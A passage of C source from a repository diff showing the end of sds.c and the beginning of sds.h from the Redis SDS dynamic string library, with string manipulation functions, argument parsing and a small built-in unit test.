case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
len = (sh->len += incr);
break;
}
default: len = 0; /* Just to avoid compilation warnings. */
}
s[len] = '\0';
}
/* Grow the sds to have the specified length. Bytes that were not part of
* the original length of the sds will be set to zero.
*
* if the specified length is smaller than the current length, no operation
* is performed. */
sds sdsgrowzero(sds s, size_t len) {
size_t curlen = sdslen(s);
if (len <= curlen) return s;
s = sdsMakeRoomFor(s,len-curlen);
if (s == NULL) return NULL;
/* Make sure added region doesn't contain garbage */
memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
sdssetlen(s, len);
return s;
}
/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
* end of the specified sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatlen(sds s, const void *t, size_t len) {
size_t curlen = sdslen(s);
s = sdsMakeRoomFor(s,len);
if (s == NULL) return NULL;
memcpy(s+curlen, t, len);
sdssetlen(s, curlen+len);
s[curlen+len] = '\0';
return s;
}
/* Append the specified null termianted C string to the sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscat(sds s, const char *t) {
return sdscatlen(s, t, strlen(t));
}
/* Append the specified sds 't' to the existing sds 's'.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatsds(sds s, const sds t) {
return sdscatlen(s, t, sdslen(t));
}
/* Destructively modify the sds string 's' to hold the specified binary
* safe string pointed by 't' of length 'len' bytes. */
sds sdscpylen(sds s, const char *t, size_t len) {
if (sdsalloc(s) < len) {
s = sdsMakeRoomFor(s,len-sdslen(s));
if (s == NULL) return NULL;
}
memcpy(s, t, len);
s[len] = '\0';
sdssetlen(s, len);
return s;
}
/* Like sdscpylen() but 't' must be a null-termined string so that the length
* of the string is obtained with strlen(). */
sds sdscpy(sds s, const char *t) {
return sdscpylen(s, t, strlen(t));
}
/* Helper for sdscatlonglong() doing the actual number -> string
* conversion. 's' must point to a string with room for at least
* SDS_LLSTR_SIZE bytes.
*
* The function returns the length of the null-terminated string
* representation stored at 's'. */
#define SDS_LLSTR_SIZE 21
int sdsll2str(char *s, long long value) {
char *p, aux;
unsigned long long v;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
v = (value < 0) ? -value : value;
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
if (value < 0) *p++ = '-';
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Identical sdsll2str(), but for unsigned long long type. */
int sdsull2str(char *s, unsigned long long v) {
char *p, aux;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Create an sds string from a long long value. It is much faster than:
*
* sdscatprintf(sdsempty(),"%lld\n", value);
*/
sds sdsfromlonglong(long long value) {
char buf[SDS_LLSTR_SIZE];
int len = sdsll2str(buf,value);
return sdsnewlen(buf,len);
}
/* Like sdscatprintf() but gets va_list instead of being variadic. */
sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
va_list cpy;
char staticbuf[1024], *buf = staticbuf, *t;
size_t buflen = strlen(fmt)*2;
/* We try to start using a static buffer for speed.
* If not possible we revert to heap allocation. */
if (buflen > sizeof(staticbuf)) {
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
} else {
buflen = sizeof(staticbuf);
}
/* Try with buffers two times bigger every time we fail to
* fit the string in the current buffer size. */
while(1) {
buf[buflen-2] = '\0';
va_copy(cpy,ap);
vsnprintf(buf, buflen, fmt, cpy);
va_end(cpy);
if (buf[buflen-2] != '\0') {
if (buf != staticbuf) s_free(buf);
buflen *= 2;
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
continue;
}
break;
}
/* Finally concat the obtained string to the SDS string and return it. */
t = sdscat(s, buf);
if (buf != staticbuf) s_free(buf);
return t;
}
/* Append to the sds string 's' a string obtained using printf-alike format
* specifier.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("Sum is: ");
* s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
*
* Often you need to create a string from scratch with the printf-alike
* format. When this is the need, just use sdsempty() as the target string:
*
* s = sdscatprintf(sdsempty(), "... your format ...", args);
*/
sds sdscatprintf(sds s, const char *fmt, ...) {
va_list ap;
char *t;
va_start(ap, fmt);
t = sdscatvprintf(s,fmt,ap);
va_end(ap);
return t;
}
/* This function is similar to sdscatprintf, but much faster as it does
* not rely on sprintf() family functions implemented by the libc that
* are often very slow. Moreover directly handling the sds string as
* new data is concatenated provides a performance improvement.
*
* However this function only handles an incompatible subset of printf-alike
* format specifiers:
*
* %s - C String
* %S - SDS string
* %i - signed int
* %I - 64 bit signed integer (long long, int64_t)
* %u - unsigned int
* %U - 64 bit unsigned integer (unsigned long long, uint64_t)
* %% - Verbatim "%" character.
*/
sds sdscatfmt(sds s, char const *fmt, ...) {
size_t initlen = sdslen(s);
const char *f = fmt;
int i;
va_list ap;
va_start(ap,fmt);
f = fmt; /* Next format specifier byte to process. */
i = initlen; /* Position of the next byte to write to dest str. */
while(*f) {
char next, *str;
size_t l;
long long num;
unsigned long long unum;
/* Make sure there is always space for at least 1 char. */
if (sdsavail(s)==0) {
s = sdsMakeRoomFor(s,1);
}
switch(*f) {
case '%':
next = *(f+1);
f++;
switch(next) {
case 's':
case 'S':
str = va_arg(ap,char*);
l = (next == 's') ? strlen(str) : sdslen(str);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,str,l);
sdsinclen(s,l);
i += l;
break;
case 'i':
case 'I':
if (next == 'i')
num = va_arg(ap,int);
else
num = va_arg(ap,long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsll2str(buf,num);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
case 'u':
case 'U':
if (next == 'u')
unum = va_arg(ap,unsigned int);
else
unum = va_arg(ap,unsigned long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsull2str(buf,unum);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
default: /* Handle %% and generally %<unknown>. */
s[i++] = next;
sdsinclen(s,1);
break;
}
break;
default:
s[i++] = *f;
sdsinclen(s,1);
break;
}
f++;
}
va_end(ap);
/* Add null-term */
s[i] = '\0';
return s;
}
/* Remove the part of the string from left and from right composed just of
* contiguous characters found in 'cset', that is a null terminted C string.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("AA...AA.a.aa.aHelloWorld :::");
* s = sdstrim(s,"Aa. :");
* printf("%s\n", s);
*
* Output will be just "Hello World".
*/
sds sdstrim(sds s, const char *cset) {
char *start, *end, *sp, *ep;
size_t len;
sp = start = s;
ep = end = s+sdslen(s)-1;
while(sp <= end && strchr(cset, *sp)) sp++;
while(ep > sp && strchr(cset, *ep)) ep--;
len = (sp > ep) ? 0 : ((ep-sp)+1);
if (s != sp) memmove(s, sp, len);
s[len] = '\0';
sdssetlen(s,len);
return s;
}
/* Turn the string into a smaller (or equal) string containing only the
* substring specified by the 'start' and 'end' indexes.
*
* start and end can be negative, where -1 means the last character of the
* string, -2 the penultimate character, and so forth.
*
* The interval is inclusive, so the start and end characters will be part
* of the resulting string.
*
* The string is modified in-place.
*
* Example:
*
* s = sdsnew("Hello World");
* sdsrange(s,1,-1); => "ello World"
*/
void sdsrange(sds s, int start, int end) {
size_t newlen, len = sdslen(s);
if (len == 0) return;
if (start < 0) {
start = len+start;
if (start < 0) start = 0;
}
if (end < 0) {
end = len+end;
if (end < 0) end = 0;
}
newlen = (start > end) ? 0 : (end-start)+1;
if (newlen != 0) {
if (start >= (signed)len) {
newlen = 0;
} else if (end >= (signed)len) {
end = len-1;
newlen = (start > end) ? 0 : (end-start)+1;
}
} else {
start = 0;
}
if (start && newlen) memmove(s, s+start, newlen);
s[newlen] = 0;
sdssetlen(s,newlen);
}
/* Apply tolower() to every character of the sds string 's'. */
void sdstolower(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = tolower(s[j]);
}
/* Apply toupper() to every character of the sds string 's'. */
void sdstoupper(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = toupper(s[j]);
}
/* Compare two sds strings s1 and s2 with memcmp().
*
* Return value:
*
* positive if s1 > s2.
* negative if s1 < s2.
* 0 if s1 and s2 are exactly the same binary string.
*
* If two strings share exactly the same prefix, but one of the two has
* additional characters, the longer string is considered to be greater than
* the smaller one. */
int sdscmp(const sds s1, const sds s2) {
size_t l1, l2, minlen;
int cmp;
l1 = sdslen(s1);
l2 = sdslen(s2);
minlen = (l1 < l2) ? l1 : l2;
cmp = memcmp(s1,s2,minlen);
if (cmp == 0) return l1-l2;
return cmp;
}
/* Split 's' with separator in 'sep'. An array
* of sds strings is returned. *count will be set
* by reference to the number of tokens returned.
*
* On out of memory, zero length string, zero length
* separator, NULL is returned.
*
* Note that 'sep' is able to split a string using
* a multi-character separator. For example
* sdssplit("foo_-_bar","_-_"); will return two
* elements "foo" and "bar".
*
* This version of the function is binary-safe but
* requires length arguments. sdssplit() is just the
* same function but for zero-terminated strings.
*/
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
int elements = 0, slots = 5, start = 0, j;
sds *tokens;
if (seplen < 1 || len < 0) return NULL;
tokens = s_malloc(sizeof(sds)*slots);
if (tokens == NULL) return NULL;
if (len == 0) {
*count = 0;
return tokens;
}
for (j = 0; j < (len-(seplen-1)); j++) {
/* make sure there is room for the next element and the final one */
if (slots < elements+2) {
sds *newtokens;
slots *= 2;
newtokens = s_realloc(tokens,sizeof(sds)*slots);
if (newtokens == NULL) goto cleanup;
tokens = newtokens;
}
/* search the separator */
if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
tokens[elements] = sdsnewlen(s+start,j-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
start = j+seplen;
j = j+seplen-1; /* skip the separator */
}
}
/* Add the final element. We are sure there is room in the tokens array. */
tokens[elements] = sdsnewlen(s+start,len-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
*count = elements;
return tokens;
cleanup:
{
int i;
for (i = 0; i < elements; i++) sdsfree(tokens[i]);
s_free(tokens);
*count = 0;
return NULL;
}
}
/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
void sdsfreesplitres(sds *tokens, int count) {
if (!tokens) return;
while(count--)
sdsfree(tokens[count]);
s_free(tokens);
}
/* Append to the sds string "s" an escaped string representation where
* all the non-printable characters (tested with isprint()) are turned into
* escapes in the form "\n\r\a...." or "\x<hex-number>".
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatrepr(sds s, const char *p, size_t len) {
s = sdscatlen(s,"\"",1);
while(len--) {
switch(*p) {
case '\\':
case '"':
s = sdscatprintf(s,"\\%c",*p);
break;
case '\n': s = sdscatlen(s,"\\n",2); break;
case '\r': s = sdscatlen(s,"\\r",2); break;
case '\t': s = sdscatlen(s,"\\t",2); break;
case '\a': s = sdscatlen(s,"\\a",2); break;
case '\b': s = sdscatlen(s,"\\b",2); break;
default:
if (isprint(*p))
s = sdscatprintf(s,"%c",*p);
else
s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
break;
}
p++;
}
return sdscatlen(s,"\"",1);
}
/* Helper function for sdssplitargs() that returns non zero if 'c'
* is a valid hex digit. */
int is_hex_digit(char c) {
return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
(c >= 'A' && c <= 'F');
}
/* Helper function for sdssplitargs() that converts a hex digit into an
* integer from 0 to 15 */
int hex_digit_to_int(char c) {
switch(c) {
case '0': return 0;
case '1': return 1;
case '2': return 2;
case '3': return 3;
case '4': return 4;
case '5': return 5;
case '6': return 6;
case '7': return 7;
case '8': return 8;
case '9': return 9;
case 'a': case 'A': return 10;
case 'b': case 'B': return 11;
case 'c': case 'C': return 12;
case 'd': case 'D': return 13;
case 'e': case 'E': return 14;
case 'f': case 'F': return 15;
default: return 0;
}
}
/* Split a line into arguments, where every argument can be in the
* following programming-language REPL-alike form:
*
* foo bar "newline are supported\n" and "\xff\x00otherstuff"
*
* The number of arguments is stored into *argc, and an array
* of sds is returned.
*
* The caller should free the resulting array of sds strings with
* sdsfreesplitres().
*
* Note that sdscatrepr() is able to convert back a string into
* a quoted string in the same format sdssplitargs() is able to parse.
*
* The function returns the allocated tokens on success, even when the
* input string is empty, or NULL if the input contains unbalanced
* quotes or closed quotes followed by non space characters
* as in: "foo"bar or "foo'
*/
sds *sdssplitargs(const char *line, int *argc) {
const char *p = line;
char *current = NULL;
char **vector = NULL;
*argc = 0;
while(1) {
/* skip blanks */
while(*p && isspace(*p)) p++;
if (*p) {
/* get a token */
int inq=0; /* set to 1 if we are in "quotes" */
int insq=0; /* set to 1 if we are in 'single quotes' */
int done=0;
if (current == NULL) current = sdsempty();
while(!done) {
if (inq) {
if (*p == '\\' && *(p+1) == 'x' &&
is_hex_digit(*(p+2)) &&
is_hex_digit(*(p+3)))
{
unsigned char byte;
byte = (hex_digit_to_int(*(p+2))*16)+
hex_digit_to_int(*(p+3));
current = sdscatlen(current,(char*)&byte,1);
p += 3;
} else if (*p == '\\' && *(p+1)) {
char c;
p++;
switch(*p) {
case 'n': c = '\n'; break;
case 'r': c = '\r'; break;
case 't': c = '\t'; break;
case 'b': c = '\b'; break;
case 'a': c = '\a'; break;
default: c = *p; break;
}
current = sdscatlen(current,&c,1);
} else if (*p == '"') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else if (insq) {
if (*p == '\\' && *(p+1) == '\'') {
p++;
current = sdscatlen(current,"'",1);
} else if (*p == '\'') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else {
switch(*p) {
case ' ':
case '\n':
case '\r':
case '\t':
case '\0':
done=1;
break;
case '"':
inq=1;
break;
case '\'':
insq=1;
break;
default:
current = sdscatlen(current,p,1);
break;
}
}
if (*p) p++;
}
/* add the token to the vector */
vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
vector[*argc] = current;
(*argc)++;
current = NULL;
} else {
/* Even on empty input string return something not NULL. */
if (vector == NULL) vector = s_malloc(sizeof(void*));
return vector;
}
}
err:
while((*argc)--)
sdsfree(vector[*argc]);
s_free(vector);
if (current) sdsfree(current);
*argc = 0;
return NULL;
}
/* Modify the string substituting all the occurrences of the set of
* characters specified in the 'from' string to the corresponding character
* in the 'to' array.
*
* For instance: sdsmapchars(mystring, "ho", "01", 2)
* will have the effect of turning the string "hello" into "0ell1".
*
* The function returns the sds string pointer, that is always the same
* as the input pointer since no resize is needed. */
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
size_t j, i, l = sdslen(s);
for (j = 0; j < l; j++) {
for (i = 0; i < setlen; i++) {
if (s[j] == from[i]) {
s[j] = to[i];
break;
}
}
}
return s;
}
/* Join an array of C strings using the specified separator (also a C string).
* Returns the result as an sds string. */
sds sdsjoin(char **argv, int argc, char *sep) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscat(join, argv[j]);
if (j != argc-1) join = sdscat(join,sep);
}
return join;
}
/* Like sdsjoin, but joins an array of SDS strings. */
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscatsds(join, argv[j]);
if (j != argc-1) join = sdscatlen(join,sep,seplen);
}
return join;
}
/* Wrappers to the allocators used by SDS. Note that SDS will actually
* just use the macros defined into sdsalloc.h in order to avoid to pay
* the overhead of function calls. Here we define these wrappers only for
* the programs SDS is linked to, if they want to touch the SDS internals
* even if they use a different allocator. */
void *sds_malloc(size_t size) { return s_malloc(size); }
void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
void sds_free(void *ptr) { s_free(ptr); }
#if defined(SDS_TEST_MAIN)
#include <stdio.h>
#include "testhelp.h"
#include "limits.h"
#define UNUSED(x) (void)(x)
int sdsTest(void) {
{
sds x = sdsnew("foo"), y;
test_cond("Create a string and obtain the length",
sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
sdsfree(x);
x = sdsnewlen("foo",2);
test_cond("Create a string with specified length",
sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
x = sdscat(x,"bar");
test_cond("Strings concatenation",
sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
x = sdscpy(x,"a");
test_cond("sdscpy() against an originally longer string",
sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
test_cond("sdscpy() against an originally shorter string",
sdslen(x) == 33 &&
memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
sdsfree(x);
x = sdscatprintf(sdsempty(),"%d",123);
test_cond("sdscatprintf() seems working in the base case",
sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
test_cond("sdscatfmt() seems working in the base case",
sdslen(x) == 60 &&
memcmp(x,"--Hello Hi! World -9223372036854775808,"
"9223372036854775807--",60) == 0)
printf("[%s]\n",x);
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
test_cond("sdscatfmt() seems working with unsigned numbers",
sdslen(x) == 35 &&
memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," x");
test_cond("sdstrim() works when all chars match",
sdslen(x) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," ");
test_cond("sdstrim() works when a single char remains",
sdslen(x) == 1 && x[0] == 'x')
sdsfree(x);
x = sdsnew("xxciaoyyy");
sdstrim(x,"xy");
test_cond("sdstrim() correctly trims characters",
sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
y = sdsdup(x);
sdsrange(y,1,1);
test_cond("sdsrange(...,1,1)",
sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,-1);
test_cond("sdsrange(...,1,-1)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,-2,-1);
test_cond("sdsrange(...,-2,-1)",
sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,2,1);
test_cond("sdsrange(...,2,1)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,100);
test_cond("sdsrange(...,1,100)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,100,100);
test_cond("sdsrange(...,100,100)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("foo");
y = sdsnew("foa");
test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("bar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("aar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
sdsfree(y);
sdsfree(x);
x = sdsnewlen("\a\n\0foo\r",7);
y = sdscatrepr(sdsempty(),x,sdslen(x));
test_cond("sdscatrepr(...data...)",
memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
{
unsigned int oldfree;
char *p;
int step = 10, j, i;
sdsfree(x);
sdsfree(y);
x = sdsnew("0");
test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
/* Run the test a few times in order to hit the first two
* SDS header types. */
for (i = 0; i < 10; i++) {
int oldlen = sdslen(x);
x = sdsMakeRoomFor(x,step);
int type = x[-1]&SDS_TYPE_MASK;
test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
if (type != SDS_TYPE_5) {
test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
oldfree = sdsavail(x);
}
p = x+oldlen;
for (j = 0; j < step; j++) {
p[j] = 'A'+j;
}
sdsIncrLen(x,step);
}
test_cond("sdsMakeRoomFor() content",
memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
sdsfree(x);
}
}
test_report()
return 0;
}
#endif
#ifdef SDS_TEST_MAIN
int main(void) {
return sdsTest();
}
#endif
+273
View File
@@ -0,0 +1,273 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __SDS_H
#define __SDS_H
#define SDS_MAX_PREALLOC (1024*1024)
#include <sys/types.h>
#include <stdarg.h>
#include <stdint.h>
typedef char *sds;
/* Note: sdshdr5 is never used, we just access the flags byte directly.
* However is here to document the layout of type 5 SDS strings. */
struct __attribute__ ((__packed__)) sdshdr5 {
unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr8 {
uint8_t len; /* used */
uint8_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr16 {
uint16_t len; /* used */
uint16_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr32 {
uint32_t len; /* used */
uint32_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr64 {
uint64_t len; /* used */
uint64_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
#define SDS_TYPE_5 0
#define SDS_TYPE_8 1
#define SDS_TYPE_16 2
#define SDS_TYPE_32 3
#define SDS_TYPE_64 4
#define SDS_TYPE_MASK 7
#define SDS_TYPE_BITS 3
#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
static inline size_t sdslen(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}
static inline size_t sdsavail(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
return 0;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
return sh->alloc - sh->len;
}
}
return 0;
}
static inline void sdssetlen(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len = newlen;
break;
}
}
static inline void sdsinclen(sds s, size_t inc) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len += inc;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len += inc;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len += inc;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len += inc;
break;
}
}
/* sdsalloc() = sdsavail() + sdslen() */
static inline size_t sdsalloc(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->alloc;
case SDS_TYPE_16:
return SDS_HDR(16,s)->alloc;
case SDS_TYPE_32:
return SDS_HDR(32,s)->alloc;
case SDS_TYPE_64:
return SDS_HDR(64,s)->alloc;
}
return 0;
}
static inline void sdssetalloc(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
/* Nothing to do, this type has no total allocation info. */
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->alloc = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->alloc = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->alloc = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->alloc = newlen;
break;
}
}
sds sdsnewlen(const void *init, size_t initlen);
sds sdsnew(const char *init);
sds sdsempty(void);
sds sdsdup(const sds s);
void sdsfree(sds s);
sds sdsgrowzero(sds s, size_t len);
sds sdscatlen(sds s, const void *t, size_t len);
sds sdscat(sds s, const char *t);
sds sdscatsds(sds s, const sds t);
sds sdscpylen(sds s, const char *t, size_t len);
sds sdscpy(sds s, const char *t);
sds sdscatvprintf(sds s, const char *fmt, va_list ap);
#ifdef __GNUC__
sds sdscatprintf(sds s, const char *fmt, ...)
__attribute__((format(printf, 2, 3)));
#else
sds sdscatprintf(sds s, const char *fmt, ...);
#endif
sds sdscatfmt(sds s, char const *fmt, ...);
sds sdstrim(sds s, const char *cset);
void sdsrange(sds s, int start, int end);
void sdsupdatelen(sds s);
void sdsclear(sds s);
int sdscmp(const sds s1, const sds s2);
